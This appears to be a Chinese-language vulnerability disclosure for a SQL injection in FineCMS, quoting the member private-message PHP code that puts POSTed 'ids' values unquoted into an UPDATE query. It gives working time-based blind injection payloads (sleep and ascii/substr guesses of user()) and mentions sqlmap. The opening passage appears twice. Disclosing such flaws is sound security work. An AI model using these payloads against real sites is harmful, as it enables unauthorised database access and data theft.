### 简要描述: FineCMS 最新版sql注入一枚 厂商不会又说6月份已经修复吧,我说了这只是一个开始.............................................................................................. ### 详细说明: 直接看代码: member/controllers/pm.php:(lines:27-37): ``` public function index() { if (IS_POST) { if ($this->input->post('action') == 'read') { $this->pm_model->set_read($this->uid, $this->input->post('ids')); exit(dr_json(1, lang('000'))); } else { $this->pm_model->deletes($this->uid, $this->input->post('ids')); exit(dr_json(1, lang('000'))); } } ``` 发现了没有这里有一行: $this->pm_model->set_read($this->uid, $this->input->post('ids')); 跟进去看一下: pm_modle.php(lines:150-190): ``` public function set_read($uid, $ids) { if (!$ids) { return NULL; } foreach ($ids as $plid) { echo "UPDATE ".$this->db->dbprefix('pm_members')." SET isnew=0 WHERE plid=$plid AND uid=$uid AND isnew=1"; $this->db ->query("UPDATE ".$this->db->dbprefix('pm_members')." SET isnew=0 WHERE plid=$plid AND uid=$uid AND isnew=1"); } } ```...
### 简要描述: FineCMS 最新版sql注入一枚 厂商不会又说6月份已经修复吧,我说了这只是一个开始.............................................................................................. ### 详细说明: 直接看代码: member/controllers/pm.php:(lines:27-37): ``` public function index() { if (IS_POST) { if ($this->input->post('action') == 'read') { $this->pm_model->set_read($this->uid, $this->input->post('ids')); exit(dr_json(1, lang('000'))); } else { $this->pm_model->deletes($this->uid, $this->input->post('ids')); exit(dr_json(1, lang('000'))); } } ``` 发现了没有这里有一行: $this->pm_model->set_read($this->uid, $this->input->post('ids')); 跟进去看一下: pm_modle.php(lines:150-190): ``` public function set_read($uid, $ids) { if (!$ids) { return NULL; } foreach ($ids as $plid) { echo "UPDATE ".$this->db->dbprefix('pm_members')." SET isnew=0 WHERE plid=$plid AND uid=$uid AND isnew=1"; $this->db ->query("UPDATE ".$this->db->dbprefix('pm_members')." SET isnew=0 WHERE plid=$plid AND uid=$uid AND isnew=1"); } } ``` 这里如果ids是数组的之家查询,并没有添加单引号,那么这里面可构造的就多了,并且与gpc一点关系都没有 我们看一下payload: url: http://finecmstest.com/member/index.php?c=pm&m=index postdata: ids[]=sleep(5)&action=read 执行后 发现延5秒执行 ,我们在更改一下payload postdata: ids[]=if(ascii(substr(user(),1,1))=$NUM,sleep(if(1,5,1))&action=read 这里的$NUM就是我们的参数,一直可以猜测表名,这里也可以通过sqlmap去跑 因为没有任何防御 ok..................... ### 漏洞证明: